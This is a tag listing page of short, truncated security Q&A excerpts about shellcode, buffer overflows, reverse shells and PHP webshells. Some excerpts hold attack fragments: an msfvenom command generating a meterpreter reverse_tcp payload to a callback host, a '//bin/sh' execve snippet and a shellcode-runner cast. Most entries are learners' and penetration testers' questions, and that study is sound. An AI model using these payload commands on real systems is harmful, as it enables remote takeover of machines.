Questions tagged [shellcode]

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.

Filter by
Sorted by
Tagged with
1 vote
1 answer
330 views

Give users a powershell script to run - Secure?

Is there a secure and practical way to give a group of users a powershell script to run on their laptops? The users all have active directory accounts, but their computers are not joined to any ...
whitneyland's user avatar
7 votes
2 answers
10k views

Difference between Code Injection, Command Injection and Remote Code Execution

If one has to describe fundamental difference in between these three terms (i.e. Code Injection, Command Injection and Remote Code Execution) what will that be? How they are different from each other ...
Khopcha's user avatar
  • 455
7 votes
3 answers
9k views

What is the difference between a payload and shellcode?

I am new to penetration testing and I would like to know the differences between these two things: Payload (reverse TCP vs. bind shell) Shell vs. Shellcode Any help?
user156894's user avatar
1 vote
1 answer
2k views

Shellcode parameter passing

I am trying to use an environment variable to store my shellcode and then point my RET to it, so that I may get to execute my shellcode. Here is my vulnerable program 'abc.c' #include string.h #...
user148898's user avatar
5 votes
1 answer
11k views

Reverse Bash Shell one liner

I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "...
LazyTrout17's user avatar
1 vote
0 answers
434 views

Using .data segment for Code Execution with DEP Enable

Sorry if this seems like a silly question. I am working on practicing backdooring applications for a cert I am working on, and one of the methods is to use existing code caves. The issue is, these ...
NetSec's user avatar
  • 11
-1 votes
1 answer
1k views

What does ((void (*) ())shellcode) () do, where shellcode is an unsigned char array? [closed]

#include <stdio.h> unsigned char random[] = //randomness unsigned char shellcode[] = //shellcode in hex int main(void) { ((void (*) ())shellcode) (); } What does ((void (*) ())shellcode) ();...
Mark Read's user avatar
  • 199
0 votes
2 answers
317 views

PDF parser and OPcodeExtraction [closed]

I'm performing an university project on malware detection. Specifically I need: - extract javascript from a PDF, ...
Myke's user avatar
  • 21
0 votes
1 answer
592 views

Mov byte to addres inside a register

I am trying to write a shell insertion decoder (my encoder works as expected). But when I try to move one byte to the address inside a register i face a Segmentation fault. The error happens in this ...
alacerda's user avatar
  • 125
3 votes
1 answer
1k views

msfvenom incompatible character encodings error

I try to create payload for adding user to local administrators group, but the server language is Russian so I should add my local user to Администраторы group. When I try to create payload using ...
user150530's user avatar
2 votes
1 answer
3k views

Buffer Overflow memory address calculation on 64bit

I have a assignment where i must exploit a buffer overflow vulnerability on a remote machine. I have only execute permission on the program, so i cant use gdb. I managed to take control of the rip and ...
George Sp's user avatar
  • 151
0 votes
1 answer
106 views

Uncovering encryption codes [closed]

What is the complexity level of finding an Encryption code when the source document and the encrypted one are available? In practical terms: Malware in the computer sends a document to the TPM and ...
Moti's user avatar
  • 105
3 votes
2 answers
1k views

Hard-wired vs relative addresses in shellcode

This question is primarily in the context of arbitrary command execution in a buffer (e.g. stack) overflow. I read somewhere recently that hard-wired (absolute) addresses are not good for shellcode e....
Sean S's user avatar
  • 53
0 votes
1 answer
3k views

How to decode hex code and modify it? Binascii.unhexlify [closed]

I am reviewing the code hosted at edb and the portion I am trying to make sense of and modify is at line 78 reversetcp_shellcode = binascii.unhexlify(b'...
K4rt's user avatar
  • 3
1 vote
1 answer
3k views

Segmentation fault in shellcode

I generated a shell code with msfvenom # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c When I compile my shell.c with gcc (version 6.3.0-16) with this ...
hill flame's user avatar
1 vote
1 answer
360 views

Meterpreter & Vuln Server

I learn Shellcode and use Vulnserver.exe. I managed to get to the point that I inject a shellcode like open a calculator or msgbox But for some reason bind shell on port 4444 does not work for me. ...
Antonio's user avatar
  • 145
0 votes
1 answer
515 views

32-Bit Windows Position Independent shellcode variables

In position independent shellcode for 32-Bit windows what are the most commonly used techniques for storing string variables. I've been using stack based strings: Adjust the ESP register Store the ...
Mark A's user avatar
  • 41
2 votes
1 answer
2k views

Why is fnstenv giving me a NULL address in my shellcode on Windows XP?

I am going through an introductory tutorial on writing exploits, which can be found here. The tutorial goes over a simple stack based buffer overflow vulnerability in the Easy RM to MP3 Conversion ...
saltthehash's user avatar
2 votes
1 answer
405 views

Dangers of jpeg with attachment

If anyone has any suggestions for tags, feel free to add them, seeing as i'm not yet familiar with the ones used on this site. I was wondering what the dangers are of appending a file to an image. ...
clockw0rk's user avatar
  • 119
3 votes
1 answer
1k views

Buffer overflow to server

I have a server, for reference: pastebin/ghJX69uH, that I can netcat to and it will ask to input a msg. I know it is vulnerable to buffer overflow, but I can't seem to get the shellcode to run. I ...
user153882's user avatar
4 votes
2 answers
1k views

What lies behind this complicated shellcode on linux?

It's pretty much my first time playing around with a buffer overflow exploit. I've written a simple C program that is vulnerable to buffer overflows: #include <stdio.h> #include <stdlib.h>...
Kfir Eichenblat's user avatar
1 vote
1 answer
366 views

Large header/footer of shellcode bytes when going from x86 asm to exe?

I coded a simple bash shell in x86 and compiled it via nasm and ld into an exe. When I do this I can see the 31 bytes of instructions that I actually made but there are 100's of bytes before and after ...
Nitro's user avatar
  • 199
0 votes
1 answer
2k views

Finding a Webshell script in User home directories.

We recently had an issue with one of our servers. We want to scan our User's home directories in order to detect if there are in Web Shell Scripts present. We have implemented a script to list all ...
Mustafa Mujahid's user avatar
3 votes
1 answer
2k views

Bypass safe mode in PHP

I am doing penetration testing on a dummy website. On this website I was able to upload a PHP shell, but I have two problems: PHP safe-mode is enabled I only have low privileges Is there any method ...
codeur's user avatar
  • 591
1 vote
0 answers
163 views

Why makes many copies of the code block in Heap Spray?

I Understand that adding NOP-Sled will increase the possibility of the attack, but why do we need to add more than a copy of NOP-sled + shellcode? if we have one big NOP_sled+shellcode it will be more ...
Rooney's user avatar
  • 11
2 votes
1 answer
766 views

Eliminating 0x0a from ShellCode for unlink file

I have written a shellcode to unlink a file from the system, but when I extracted the hexcode off the binary file, it consists of \x0a byte, because the sys call number for unlink function is 10, so ...
Shubham Jain's user avatar
4 votes
3 answers
861 views

Why strace isn't showing system call being made in shellcode?

I'm new to shellcoding. I have written assembly code : section .text global _start _start: jmp end start: ;open file pop ebx ; get address of filename xor eax,eax mov [ebx+3], al mov al,...
Rakesh Mane's user avatar
4 votes
1 answer
2k views

Unrestricted File Upload on JBoss

I am currently working on webapp pentest where I discovered a nice little Unrestricted File Upload vulnerability. The only (and big) problem is that I am unable to escalate this to a fully working ...
aress31's user avatar
  • 141
0 votes
1 answer
501 views

RFI - Is this possible even if you use an Application Server?

Since JBoss is acting as a middleware - Application Server - I was wondering if it's still possible to face with File Inclusion attacks.(?) The reason I was wandering so is that in such a case, no ...
Parsa Samet's user avatar
3 votes
1 answer
1k views

What does mov qword rbx, '//bin/sh' mean?

I follow this tutorial in order to understand how the 64 bits shellcode work. So, I code this shellcode and it's works: BITS 64 xor rax, rax mov qword rbx, '//bin/sh' shr rbx, 0x8 push rbx mov rdi, ...
salt's user avatar
  • 259
1 vote
1 answer
2k views

Unable to execute PHP shell

I have uploaded a simple PHP shell onto a server, but I get one of the following error messages when I am trying to execute a code: Warning: shell_exec() Unable to execute 'ls' in .... on line 2 ...
Manuel's user avatar
  • 13
2 votes
0 answers
613 views

Stack overflow return addr

I'm trying to exploit a standard buffer overflow vulnerability in a program that uses strcpy() to fill a 200 char buffer, without checking boundaries, and compiled with -z execstack and -fno-stack-...
Yvain's user avatar
  • 89
6 votes
2 answers
2k views

Serving a php webshell without running it locally

I am using Kali Linux in a pentesting lab. By entering the following URL on the victim system I can get it to access my apache server (I see a 200 access response in my logs), but the php file ...
Shrout1's user avatar
  • 355
1 vote
0 answers
460 views

Shellcode Injection/Poisoning on Mobile Networks[GSM/LTE/CDMA-varaints]?

In the previous question(How do APN hacks work?) I have enquired about APN hacks but after reseaching more about cellular networks. I wonder has anybody attempted Remote-code execution/poisoning,etc ...
Xasel's user avatar
  • 131
4 votes
1 answer
1k views

Where you can run shellcode inside an ordinary process, what is a stealthy way to leverage that to get offensive Powershell code running from it?

Right now, offensive use of Powershell is one the hottest topics in infosec. Powershell scripts are most often pitched as being appropriate for the "post-exploitation" phase of a penetration. This ...
mostlyinformed's user avatar
2 votes
1 answer
647 views

Do NOP sleds expose shellcode?

I noticed the following sentence on Wikipedia. Since intrusion detection can detect signatures of simple shellcodes being sent over the network, it is often encoded, made self-decrypting or ...
user avatar
2 votes
1 answer
1k views

Shellcode not executing properly

I managed to get shellcode to be pointed to by eip by building my executable without safety measures. However, it does not appear to execute. Here is the C source of my vulnerable program: #include ...
Yapoz's user avatar
  • 165
1 vote
2 answers
2k views

Shellcode doesn't execute despite correct address on EIP

I need to produce a presentation on buffer overflows for a college class. I managed to create a simple buffer overflow where i inject the address of a specific function on the EIP and the function ...
Loïc N.'s user avatar
  • 111
1 vote
1 answer
150 views

Issues testing buffer overflow

I am experimenting on my computer, so I wrote a vulnerable program in C to test buffer overflows on: #include <stdio.h> #include <string.h> #include <stdlib.h> int check_password(...
Yapoz's user avatar
  • 165
3 votes
1 answer
1k views

Extracting shellcode from Wireshark pcap files

I running a honeypot for the telnet and ssh services (more specifically, I'm running cowrie). When an attacker tries to download a binary file cowrie generally downloads it and saves it to a file, ...
Mark Read's user avatar
  • 199
0 votes
1 answer
923 views

Shellcode segfaulting

I am currently reading the book Shellcoder's Handbook of Wiley, and I'm having a very grave problem implementing one of the shell spawning shellcodes from chapter 3. The code is as follows: Section ....
Vinay's user avatar
  • 3
1 vote
1 answer
779 views

Is it possible to run shell code from programming language A in a script that is programmed in language B? [closed]

I am sorry about the confusing title, but what I'm asking is this: Could you run shell code from C (or any other programming language) in a buffer overflow script that is programmed in Java (or any ...
Jon .C's user avatar
  • 11
1 vote
1 answer
6k views

Manually migrate to another process without using metasploit? [duplicate]

There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID. Imagine I have my own session running. How could I migrate to another process without ...
Fabio's user avatar
  • 183
3 votes
2 answers
4k views

Buffer overflow - Print "hello world"

I'm wondering what the shellcode would be to simply print "hello world" to the console. When testing for vulnerabilities, I think it would be very useful to have shellcode to test if the exploit works....
Aaron Esau's user avatar
2 votes
1 answer
684 views

Interactive shell not opening

I'm performing a buffer overflow attack on a binary and I managed to get proper return address and execute my shell code. It successfully ran the shell code. But I'm not getting a shell. When I type ...
Subramanya Vajiraya's user avatar
1 vote
1 answer
7k views

MSFvenom format specifier

In msfvenom, what does it mean exactly when I specify the format to C or Python? And what is the format 'raw' for? I know, when the format is psh-cmd it runs in the command prompt, and when it is exe ...
pedro santos's user avatar
15 votes
1 answer
5k views

What does the NSA's Recently Leaked "The Equation Group" Files do?

First Hand Details: TEG (The Equation Group) is NSA's team of hackers who'd write code to exploit systems worldwide. Some of the private files were recently dropped by a group called Shadow Brokers &...
Shritam Bhowmick's user avatar
0 votes
1 answer
1k views

Does having /sbin/nologin mean I cannot start the /bin/sh executable?

While practicing exploitation on a lab, I managed to get the ability to execute php code which allowed me to execute system commands through shell_exec on a web server. The apache user has /sbin/...
MykelXIII's user avatar
  • 103
3 votes
1 answer
273 views

Would it be possible for shellcode to call non exported functions in a dll?

It is just a question that came into mind today. I know that you can use getprocaddress to get the location of exported functions at runtime.. https://stackoverflow.com/questions/2918234/calling-a-...
Xenocide's user avatar
11 votes
1 answer
2k views

Does analysing Malicious code in gdb pose a security risk?

I have encountered a Malicious Shell-Code & i have ported the shellcode into a compatible C Code which can run the shellcode, i compiled it using gcc -fno-stack-protector -z execstack shellcode.c ...
Gerorge Timber's user avatar